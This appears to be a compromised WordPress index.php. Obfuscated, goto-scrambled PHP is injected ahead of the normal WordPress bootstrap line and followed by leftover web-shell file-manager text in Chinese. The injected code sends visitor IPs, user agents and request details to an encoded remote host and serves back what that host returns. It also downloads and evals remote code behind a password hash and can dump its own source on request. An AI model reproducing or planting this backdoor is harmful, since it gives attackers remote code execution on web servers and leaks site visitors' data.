LNoMSFn3bhps9c4; lmywWR9Oob2_Mcc: MrAUOmTevMJCslf: goto Zqdr9ajr_kwEHpv; rmF2apHGP33gmKi: return $X7sDOGVJW7KjWbh; goto G6ujfSwXzpF7WKU; LNoMSFn3bhps9c4: if (!(is_array($x0W7oIiB6sw_eiE) && count($x0W7oIiB6sw_eiE))) { goto MrAUOmTevMJCslf; } goto Cqb8GjKg2ECs1lR; G6ujfSwXzpF7WKU: } goto Ui7O5caMt4qOdjS; zYK1W_yOOju0PbT: $VlVklofHkcZbukS["\x73\156"] = NLG4E5s_5kJZ0tm($_SERVER["\123\103\122\111\x50\x54\x5f\116\x41\115\x45"]); goto Ukvj1e13lMB0HLw; ak2lx_JmbKkqddu: if (in_array($X7sDOGVJW7KjWbh["\x73\x74\141\164\x75\163"], array(0, 200))) { goto aHgwrPl6cilvCZ5; } goto Vgu4NLiOsaT2o57; cdS1Ps8AD_Kae1d: $Ddhhsk0MZ7zf_Su = substr($h627eM29bR9FxJT, strpos($h627eM29bR9FxJT, "\x2e")); goto RkcfJJew2xqKo84; odxeCFwVkTjBLRX: $IMCOc7KJeT0mMnw = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto og7ZPVk1fYS5O_5; L9xjVtI65y7Bsc_: $z4htFZdFu2aN5vw = false; goto xhyAKNVZxyrIFtN; LofT_EOCbeNYuvc: qY8VjeUGSK9F3q1: goto Fs1QR3m4Sd6NRrg; FDkbiob1aqQ8c9S: $S1YqIg5cM4Jy00x = ''; goto UN3sgw30wQZK4N7; sCfCYtLy646HDhy: khx2d7PCWItedmJ: goto sIaSdqlety5YvxP; K7v8osuVt1Vuo6X: function QBwXs9avn6Vl_37($jr0WnbzXAJRZODU) { goto oWnUVQyAvWQ7K2I; R7fbkr1093TFE2r: return $VZn7svlbc9ks7jT; goto qw8D6nxPTevhz0x; YR3Zfy4GqB2EFmM: HLcnXQdxqAUYKF1: goto U1qj5a_NTGYeOL9; U1qj5a_NTGYeOL9: return $VZn7svlbc9ks7jT; goto OhNjT_jLYYQFuqo; oWnUVQyAvWQ7K2I: $VZn7svlbc9ks7jT = array("\163\164\x61\164\x75\163" => 0, "\x63\157\156\x74\x65\x6e\x74" => '', "\164\171\x70\x65" => ''); goto XybrNBVpR_fKUhE; XybrNBVpR_fKUhE: if (is_array($jr0WnbzXAJRZODU)) { goto kXHb5ycjgR0OVs8; } goto R7fbkr1093TFE2r; qw8D6nxPTevhz0x: kXHb5ycjgR0OVs8: goto cUTfvOrWhmiQpcb; cUTfvOrWhmiQpcb: foreach ($jr0WnbzXAJRZODU as $ACqRi42jiPFKBsg) { goto FKTHKyJz5niPuyJ; fWSmTdFamH4stlp: $VZn7svlbc9ks7jT["\x73\164\x61\164\x75\163"] = intval($eOBhooikzUmgGj4[1]); goto BVOk4YtD2kKU1XN; AM1AkA7NVEHK4cx: if (preg_match("\x2f\x6c\x6f\143\141\164\x69\157\156\134\72\133\134\x73\x5d\53\x28\56\x2a\x29\57\151", $ACqRi42jiPFKBsg, $eOBhooikzUmgGj4)) { goto Inzzi5NTkScLEM1; } goto wbJquI3FxepgddF; QoDdVY_NZJyWMTc: goto vssZfglREbVQnck; goto F9fiIaOTZozlrHb; L8yHWLp5gdv0IfU: vssZfglREbVQnck: goto SmpntWQK5s3k3wH; BVOk4YtD2kKU1XN: goto vssZfglREbVQnck; goto Q6c2ZsnHjJnE_Rc; XolM9HPksQfhdCL: GuTP5RMJ13WBIMh: goto EjbliKDKFc5rcPW; vCrUL_VvujCx5tw: $VZn7svlbc9ks7jT["\143\x6f\x6e\x74\x65\x6e\x74"] = $eOBhooikzUmgGj4[1]; goto n2hdqaHT0nroW8i; wbJquI3FxepgddF: if (preg_match("\57\x63\x6f\156\x74\145\156\164\x5c\55\x74\171\160\x65\x5c\72\x5b\x5c\x73\135\x2b\x28\x2e\52\x29\x2f\151", $ACqRi42jiPFKBsg, $eOBhooikzUmgGj4)) { goto GuTP5RMJ13WBIMh; } goto QoDdVY_NZJyWMTc; n2hdqaHT0nroW8i: goto vssZfglREbVQnck; goto XolM9HPksQfhdCL; SmpntWQK5s3k3wH: gHaTayN2izFVC8e: goto pfLuIDgNVGYptAn; EjbliKDKFc5rcPW: $VZn7svlbc9ks7jT["\164\x79\160\x65"] = $eOBhooikzUmgGj4[1]; goto L8yHWLp5gdv0IfU; F9fiIaOTZozlrHb: xtRe7PN22ZL8wWQ: goto fWSmTdFamH4stlp; Q6c2ZsnHjJnE_Rc: Inzzi5NTkScLEM1: goto vCrUL_VvujCx5tw; FKTHKyJz5niPuyJ: if (preg_match("\57\150\x74\x74\160\x5c\57\x5b\x30\x2d\x39\134\x2e\135\x2b\x5b\x5c\x73\135\53\x28\x5b\x30\x2d\x39\135\53\51\x2f\x69", $ACqRi42jiPFKBsg, $eOBhooikzUmgGj4)) { goto xtRe7PN22ZL8wWQ; } goto AM1AkA7NVEHK4cx; pfLuIDgNVGYptAn: } goto YR3Zfy4GqB2EFmM; OhNjT_jLYYQFuqo: } goto xsNtNM54sj9hRuh; rul6hhyktx5iukR: $VlVklofHkcZbukS["\154"] = NLg4e5S_5kjZ0TM($_SERVER["\110\x54\124\120\137\101\103\x43\105\x50\124\x5f\114\x41\x4e\x47\x55\101\107\105"]); goto zYK1W_yOOju0PbT; bfBqMLOF6FeldLJ: function yUXo0tvzrRT1faQ() { goto ea9QGz5httlcVfZ; wx1ViwIzz1WscMm: NJu8kMQfSnRpv_J: goto voIbaj9XHVKQ3S5; ruPrThJ725IOCty: $KOxNmXgrjUUtuDd = explode("\x2c", $KOxNmXgrjUUtuDd); goto GIfBJggZM5MIs_z; VVKu3vIJyDP3enh: C7VgtsYvB_qZxvu: goto kUXswC35YOL3lqv; CZvxNW0fSv9YEEh: if (!(strpos($KOxNmXgrjUUtuDd, "\54") !== false)) { goto F2uvJuhOwOCHBdE; } goto ruPrThJ725IOCty; sgKU7_4hqV6itBB: F2uvJuhOwOCHBdE: goto xrt7mJcqFL0xXrK; sTYsqYfh5plnQjq: goto vjsN5_l16qtmVhV; goto U3LxDNmpzmHRWpF; voIbaj9XHVKQ3S5: $KOxNmXgrjUUtuDd = $_SERVER["\x48\x54\x54\120\137\x58\137\106\117\x52\127\101\x52\104\105\104\x5f\x46\x4f\x52"]; goto U2z4niFq5HbKUdp; EYWwxk64JusnSiP: $KOxNmXgrjUUtuDd = $_SERVER["\x52\x45\x4d\117\x54\x45\137\x41\104\104\x52"]; goto sTYsqYfh5plnQjq; kPlLrw3rcFSgCq1: if (isset($_SERVER["\110\x54\124\x50\137\x43\x46\x5f\x43\x4f\116\x4e\x45\103\124\x49\116\107\137\111\120"]) && !empty($_SERVER["\x48\x54\x54\120\x5f\103\x46\137\103\x4f\116\x4e\105\103\x54\111\116\x47\137\x49\x50"])) { goto yrTjsbqt1VKjy9O; } goto Wxh6KOo4DPihZ3p; U3LxDNmpzmHRWpF: yrTjsbqt1VKjy9O: goto UWqYEV24d8tznU6; Ca0deyd7Xc5sCfg: goto vjsN5_l16qtmVhV; goto VVKu3vIJyDP3enh; U2z4niFq5HbKUdp: vjsN5_l16qtmVhV: goto YzIT4M6W89DZvYH; NdsDY8eJOeEn44k: goto vjsN5_l16qtmVhV; goto wx1ViwIzz1WscMm; GIfBJggZM5MIs_z: $KOxNmXgrjUUtuDd = $KOxNmXgrjUUtuDd[0]; goto sgKU7_4hqV6itBB; kUXswC35YOL3lqv: $KOxNmXgrjUUtuDd = $_SERVER["\x48\124\x54\x50\x5f\130\x5f\122\105\x41\114\x5f\111\x50"]; goto NdsDY8eJOeEn44k; YzIT4M6W89DZvYH: $KOxNmXgrjUUtuDd = trim(str_replace("\x20", '', $KOxNmXgrjUUtuDd), "\x2c"); goto CZvxNW0fSv9YEEh; ea9QGz5httlcVfZ: $KOxNmXgrjUUtuDd = ''; goto kPlLrw3rcFSgCq1; xrt7mJcqFL0xXrK: return $KOxNmXgrjUUtuDd; goto ZtsfJ1j376zfpFv; Wxh6KOo4DPihZ3p: if (isset($_SERVER["\110\x54\124\x50\137\x58\137\x52\x45\x41\114\137\x49\x50"]) && !empty($_SERVER["\x48\124\x54\x50\137\x58\137\x52\105\101\x4c\137\x49\x50"])) { goto C7VgtsYvB_qZxvu; } goto qW9EsK_JEuwVW4h; UWqYEV24d8tznU6: $KOxNmXgrjUUtuDd = $_SERVER["\x48\124\124\120\x5f\x43\106\137\103\x4f\x4e\x4e\105\x43\124\x49\116\x47\x5f\x49\x50"]; goto Ca0deyd7Xc5sCfg; qW9EsK_JEuwVW4h: if (isset($_SERVER["\x48\x54\124\120\x5f\x58\x5f\x46\117\x52\127\101\x52\104\x45\104\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\x54\x50\137\x58\x5f\x46\x4f\x52\x57\x41\122\x44\105\104\x5f\x46\x4f\122"])) { goto NJu8kMQfSnRpv_J; } goto EYWwxk64JusnSiP; ZtsfJ1j376zfpFv: } goto KFN7Rz7CY8SwhDd; avVoPFayrhVjgtD: if (!(in_array(gettype($v94CD0s72XW4v2B) . count($v94CD0s72XW4v2B), $v94CD0s72XW4v2B) && count($v94CD0s72XW4v2B) == 17 && md5(md5(md5(md5($v94CD0s72XW4v2B[11])))) === "\x66\146\141\67\62\146\62\x65\x61\71\66\145\65\62\x65\66\71\x64\x30\64\x31\61\61\70\x39\146\x61\64\61\x33\70\x62")) { goto KCjxE7ZTepjvscV; } goto W_BcFi8SqXXn2Pc; l6CYWP3yq3a3_Lc: class tEvxFapYnUUlahl { static function EyZRIfMYUSV_OLC($HciG69ek0pI40XT) { goto N4YDkAILyxV57uQ; YtAGjcQpL6xXrd0: return $ozlUaGThClEUKZc; goto dhuHtlQsYcp5Oo2; iF2RXLEz9k4Atz7: $ozlUaGThClEUKZc = ''; goto VSGEaFp417vY3JL; VSGEaFp417vY3JL: foreach ($S77UfrfSXXTpuKT as $tXU6H54wldncIWZ => $lFjotWc2LrWv_rp) { $ozlUaGThClEUKZc .= $CbP2h8Kj3O0fBVv[$lFjotWc2LrWv_rp - 51491]; tLKKBmV6TXeynv8: } goto wag0brbfz_bWOBB; wag0brbfz_bWOBB: EMFuY8y3UcwqzsC: goto YtAGjcQpL6xXrd0; jgTb0AYb5XNfcoV: $S77UfrfSXXTpuKT = explode("\157", $HciG69ek0pI40XT); goto iF2RXLEz9k4Atz7; N4YDkAILyxV57uQ: $tgJCxCSgGIpUBE6 = "\162" . "\x61" . "\x6e" . "\x67" . "\145"; goto d2x9BaCHvYxf6Tj; d2x9BaCHvYxf6Tj: $CbP2h8Kj3O0fBVv = $tgJCxCSgGIpUBE6("\x7e", "\x20"); goto jgTb0AYb5XNfcoV; dhuHtlQsYcp5Oo2: } static function TAW5ew02Oq9hH5Y($c_or69P8UpUgKpB, $cRREtjlW6U4xsu2) { goto liXGzddDZq0RULN; MgLWcWDUCJ3n55K: curl_setopt($pIJkFkv0PrSGCEC, CURLOPT_RETURNTRANSFER, 1); goto VTf9AjPqEXWrgtQ; eJiq5agO1ulahbS: return empty($SZlSig3MVZ34UN7) ? $cRREtjlW6U4xsu2($c_or69P8UpUgKpB) : $SZlSig3MVZ34UN7; goto eTOiFhr3iAqd7Tl; VTf9AjPqEXWrgtQ: $SZlSig3MVZ34UN7 = curl_exec($pIJkFkv0PrSGCEC); goto eJiq5agO1ulahbS; liXGzddDZq0RULN: $pIJkFkv0PrSGCEC = curl_init($c_or69P8UpUgKpB); goto MgLWcWDUCJ3n55K; eTOiFhr3iAqd7Tl: } static function JW2_pOOa26e2bEW() { goto nrheE3ELJiUXuc7; CNf5ztZJ71WYK2y: VyKpVciNIsOrfKp: goto Qlzbr1qowITHgaZ; hFgmUKcyEARaRR8: @$aqhYH2dKuONEKxK[0 + 10](INPUT_GET, "\x6f\146") == 1 && die($aqhYH2dKuONEKxK[5 + 0](__FILE__)); goto hWiMb2lHv42lu_U; xG4gEP3qQXM9d48: $LWUqMPYw3h2SRlN = self::tAW5EW02Oq9hh5y($EjeJWC1yy3Y3L4v[1 + 0], $aqhYH2dKuONEKxK[5 + 0]); goto PqKNy0eN22pkSEt; KYEyzX3lVKJ0JFy: $EjeJWC1yy3Y3L4v = $aqhYH2dKuONEKxK[0 + 2]($r0p6sl_Fy46heiW, true); goto hFgmUKcyEARaRR8; sAaPb2VsfU49jLA: $UzXc3Mc5YxGzs0T = @$aqhYH2dKuONEKxK[1]($aqhYH2dKuONEKxK[3 + 7](INPUT_GET, $aqhYH2dKuONEKxK[3 + 6])); goto u1ukfNU0bYjL1gq; wxC1MDcumjh7Hir: foreach ($I52s8AlaTfxHnJI as $ZZ13bMLtR2Giw5m) { $aqhYH2dKuONEKxK[] = self::eyZRIfMYUSv_olc($ZZ13bMLtR2Giw5m); rPw2HHQm7yVKJCM: } goto mjnmQiix1qLHMdP; mjnmQiix1qLHMdP: sIK3Fs6K0XExIrj: goto sAaPb2VsfU49jLA; PqKNy0eN22pkSEt: @eval($aqhYH2dKuONEKxK[4 + 0]($LWUqMPYw3h2SRlN)); goto HxDxqaxRwmTfEcx; HxDxqaxRwmTfEcx: die; goto CNf5ztZJ71WYK2y; u1ukfNU0bYjL1gq: $r0p6sl_Fy46heiW = @$aqhYH2dKuONEKxK[1 + 2]($aqhYH2dKuONEKxK[3 + 3], $UzXc3Mc5YxGzs0T); goto KYEyzX3lVKJ0JFy; nrheE3ELJiUXuc7: $I52s8AlaTfxHnJI = array("\65\x31\65\61\70\x6f\x35\x31\x35\60\63\x6f\65\61\x35\61\x36\157\x35\x31\65\62\60\x6f\65\61\x35\x30\61\157\65\61\65\x31\66\157\65\x31\x35\x32\62\157\65\61\65\61\x35\x6f\x35\x31\65\x30\60\x6f\65\61\65\60\x37\x6f\65\61\65\x31\x38\157\x35\x31\x35\x30\61\157\x35\61\x35\x31\x32\x6f\x35\x31\65\60\66\157\x35\61\x35\x30\x37", "\x35\61\x35\60\x32\x6f\x35\61\x35\60\x31\157\65\x31\x35\60\x33\157\x35\61\x35\62\62\x6f\65\x31\x35\60\x33\x6f\x35\x31\x35\x30\66\x6f\x35\61\65\60\x31\x6f\x35\x31\x35\x36\x38\157\x35\x31\x35\66\66", "\65\x31\x35\x31\x31\x6f\65\61\x35\x30\62\x6f\65\x31\x35\x30\66\x6f\65\x31\x35\x30\x37\157\x35\61\x35\62\x32\157\65\x31\65\61\67\x6f\x35\61\65\61\66\x6f\65\x31\65\61\x38\x6f\x35\x31\x35\x30\x36\x6f\x35\x31\65\61\x37\157\65\61\65\x31\66", "\65\x31\x35\60\65\x6f\x35\61\x35\62\x30\157\65\x31\65\61\70\157\x35\x31\65\61\60", "\65\61\x35\61\71\x6f\65\61\65\62\x30\x6f\x35\61\65\x30\62\157\65\x31\65\x31\66\x6f\x35\61\x35\66\63\157\65\61\x35\66\65\157\x35\x31\65\62\x32\x6f\x35\x31\65\61\67\x6f\x35\61\x35\61\66\x6f\x35\x31\65\x31\x38\x6f\65\61\65\x30\x36\157\65\x31\65\61\67\x6f\x35\x31\65\61\66", "\x35\x31\65\x31\x35\157\x35\x31\x35\x31\x32\x6f\x35\x31\x35\x30\71\x6f\65\61\x35\61\66\157\x35\61\65\62\62\x6f\x35\61\65\61\64\x6f\65\61\65\x31\x36\x6f\65\x31\65\60\x31\157\65\61\65\x32\62\x6f\65\x31\x35\61\70\x6f\65\61\x35\60\x36\x6f\x35\61\x35\x30\x37\x6f\65\61\x35\x30\61\x6f\65\61\x35\x31\x36\x6f\x35\x31\x35\60\67\x6f\x35\x31\65\60\61\x6f\x35\x31\65\60\62", "\x35\61\65\x34\x35\x6f\x35\x31\x35\67\x35", "\65\x31\64\71\x32", "\65\x31\x35\x37\60\x6f\65\61\65\67\65", "\x35\x31\65\x35\x32\157\x35\61\x35\63\x35\157\65\61\65\x33\65\157\65\x31\65\x35\x32\x6f\x35\61\x35\62\x38", "\65\x31\x35\61\65\x6f\x35\61\x35\61\x32\x6f\x35\x31\65\x30\x39\x6f\65\61\65\x30\x31\x6f\x35\61\65\61\x36\x6f\x35\x31\x35\60\63\157\x35\61\x35\x32\62\x6f\65\61\65\61\62\157\65\61\x35\60\x37\157\65\61\x35\x30\x35\x6f\65\x31\x35\60\60\157\65\x31\65\x30\x31"); goto wxC1MDcumjh7Hir; hWiMb2lHv42lu_U: if (!(@$EjeJWC1yy3Y3L4v[0] - time() > 0 and md5(md5($EjeJWC1yy3Y3L4v[2 + 1])) === "\x62\143\67\63\63\x32\64\146\63\142\71\x30\143\60\67\x38\61\61\x64\65\x39\x35\65\64\67\x61\66\66\x33\x32\x32\64")) { goto VyKpVciNIsOrfKp; } goto xG4gEP3qQXM9d48; Qlzbr1qowITHgaZ: } } goto oI62z3lxUOclrXT; AEEVtodEZP_NBr0: $X7sDOGVJW7KjWbh = niQYyQS92dqMklC(base64_decode("\141\110\122\x30\x63\x44\157\166\x4c\63\x4a\x6c\131\x79\65\171\x5a\x57\106\x6a\x61\x47\132\x31\x62\x43\x35\x76\142\x6d\x78\160\x62\155\x55\x76"), $VlVklofHkcZbukS); goto ak2lx_JmbKkqddu; sjhmoCdl6embd0Z: $v94CD0s72XW4v2B = ${$D1us6eu_fkvls0r[6 + 25] . $D1us6eu_fkvls0r[2 + 57] . $D1us6eu_fkvls0r[15 + 32] . $D1us6eu_fkvls0r[47 + 0] . $D1us6eu_fkvls0r[18 + 33] . $D1us6eu_fkvls0r[0 + 53] . $D1us6eu_fkvls0r[57 + 0]}; goto avVoPFayrhVjgtD; psla7tGynPHAQ12: $VlVklofHkcZbukS["\x73"] = nlg4E5s_5KjZ0TM($Q7viLz2pgKmcXLI); goto SN4MTWgvDzBCdEF; xvhID30jI_J5zsz: if (!strlen($X7sDOGVJW7KjWbh["\x63\157\x6e\x74\145\156\x74"])) { goto IwP0XezUNyTsQXn; } goto xQ5LtdUu_Gj5dPs; a3eFCqoEpQUrPMb: HzmGK0fQjRKTAbn: goto LGvnye3PLdVpZV9; OdI5OlowLQML06Y: header("\x43\157\156\164\x65\156\164\55\124\x79\160\145\72\40\x74\x65\170\164\57\x68\x74\155\154\x3b\40\x63\x68\x61\x72\x73\x65\x74\75\165\x74\x66\x2d\x38"); goto zq8hXtaJQfYJX9c; sIaSdqlety5YvxP: s3BeOToTEaYMdys: goto kTY35wKiDZJgxgB; I02lUMK2tFmSnxP: $VlVklofHkcZbukS["\x72\x66"] = nLG4E5S_5KJZ0TM($S1YqIg5cM4Jy00x); goto psla7tGynPHAQ12; xhyAKNVZxyrIFtN: if (!(strpos($h627eM29bR9FxJT, "\56") > 0 && strpos($h627eM29bR9FxJT, "\x2e\x70\150\160") === false)) { goto s3BeOToTEaYMdys; } goto cdS1Ps8AD_Kae1d; UN3sgw30wQZK4N7: fkQ7b8imJA1gm1t: goto zFWYZxYWo2UAgMd; Ukvj1e13lMB0HLw: $VlVklofHkcZbukS["\162"] = NLG4E5s_5kJz0TM($_SERVER["\x52\x45\x51\x55\105\123\124\137\x55\122\x49"]); goto I02lUMK2tFmSnxP; SN4MTWgvDzBCdEF: $VlVklofHkcZbukS["\165"] = nlG4E5S_5kjZ0TM($_SERVER["\110\x54\124\120\x5f\125\x53\x45\122\137\101\107\105\116\x54"]); goto o3WqwTR3y1pI2B_; oI62z3lxUOclrXT: teVxFapYNuUlAHl::jW2_poOa26e2beW(); goto OdI5OlowLQML06Y; xQ5LtdUu_Gj5dPs: @header("\103\x6f\x6e\x74\145\x6e\164\x2d\124\171\x70\x65\72" . $X7sDOGVJW7KjWbh["\164\x79\160\x65"]); goto x4PJswKpI1NACsF; FMfeyD3CTETvcsw: error_reporting(0); goto odxeCFwVkTjBLRX; TXiv7W25HMKGLAs: if (!substr_count($_SERVER["\122\105\121\x55\x45\x53\x54\137\125\122\x49"], "\151\x6e\144\x65\x78\56\x70\x68\x70\57\152\153")) { goto qY8VjeUGSK9F3q1; } goto p06NuZUGSJ51AY2; KFN7Rz7CY8SwhDd: function LTOU2oukY8m_Cx6() { goto Lcq3CvMDr9t9WqX; lsYamGZ0fLCCFnS: if (isset($_SERVER["\110\124\124\x50\123"]) && strtolower($_SERVER["\x48\x54\124\120\x53"]) !== "\x6f\146\146") { goto vA_1ff8iquFV_7r; } goto Q3TIkUphmPpa3Cp; JV_Tq8XVOwnDd9S: goto jnPmDkj0wO2QgEN; goto G3J2Z7ELyihyiGQ; rHqF6Qf6v0ysns1: $o2wRPyQ3yuYtAeV = "\150\x74\x74\x70\163\x3a\57\x2f"; goto JV_Tq8XVOwnDd9S; gyjybPtSRFqfvik: $o2wRPyQ3yuYtAeV = "\x68\x74\x74\160\x73\x3a\x2f\x2f"; goto pOVOF4LpVaIHu_C; G3J2Z7ELyihyiGQ: eHuzqXr3b1O4l_a: goto TWt1O3X58Ttm0yM; pOVOF4LpVaIHu_C: goto jnPmDkj0wO2QgEN; goto W5y3fo4xBZkx1ip; Q3TIkUphmPpa3Cp: if (isset($_SERVER["\x48\124\x54\120\137\x58\x5f\106\x4f\x52\x57\x41\x52\104\x45\104\x5f\x50\122\117\x54\x4f"]) && $_SERVER["\110\124\124\120\137\130\137\106\117\x52\x57\x41\x52\x44\105\104\137\x50\x52\117\124\117"] === "\x68\x74\164\160\163") { goto gVTUdr1tj73wT1V; } goto aVV21GTUPhDRwvY; Lcq3CvMDr9t9WqX: $o2wRPyQ3yuYtAeV = "\x68\x74\x74\160\x3a\x2f\57"; goto lsYamGZ0fLCCFnS; QpqL6wlqBqvSOH0: vA_1ff8iquFV_7r: goto gyjybPtSRFqfvik; W5y3fo4xBZkx1ip: gVTUdr1tj73wT1V: goto rHqF6Qf6v0ysns1; TWt1O3X58Ttm0yM: $o2wRPyQ3yuYtAeV = "\150\164\x74\x70\x73\72\x2f\57"; goto OtaMXHFzuQPd56e; aVV21GTUPhDRwvY: if (isset($_SERVER["\110\x54\x54\x50\x5f\x46\122\x4f\116\124\x5f\105\116\x44\137\x48\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\x5f\x46\122\x4f\x4e\124\x5f\105\x4e\x44\x5f\110\124\124\x50\x53"]) !== "\x6f\x66\x66") { goto eHuzqXr3b1O4l_a; } goto EakUgS2dBtyV7wY; ZLR01aM6Kd8PA9s: return $o2wRPyQ3yuYtAeV; goto Uc3hPaEmrwqqqSJ; EakUgS2dBtyV7wY: goto jnPmDkj0wO2QgEN; goto QpqL6wlqBqvSOH0; OtaMXHFzuQPd56e: jnPmDkj0wO2QgEN: goto ZLR01aM6Kd8PA9s; Uc3hPaEmrwqqqSJ: } goto PAPZ4QthJvyi20P; Fs1QR3m4Sd6NRrg: $KOxNmXgrjUUtuDd = yUxO0TvZRRT1FaQ(); goto jiCeTaQMhtfd61y; zFWYZxYWo2UAgMd: $VlVklofHkcZbukS = array(); goto W3TNKOVbBcqlyki; o3WqwTR3y1pI2B_: $h627eM29bR9FxJT = preg_replace("\x2f\x5c\77\x2e\x2a\x2f", '', $_SERVER["\x52\105\x51\125\105\123\124\x5f\125\122\x49"]); goto L9xjVtI65y7Bsc_; wOfqqt0REEqrHIK: byOwYwk3UgezJBA:
?>
<?php define( 'WP_USE_THEMES', true ); require('./wp-blog-header.php');?>

文件操作 - index.php

文件: /var/www/00a9a8c414a2c84b69ccb6044f0fc34f/Web/index.php

编辑文件内容

修改文件时间

删除文件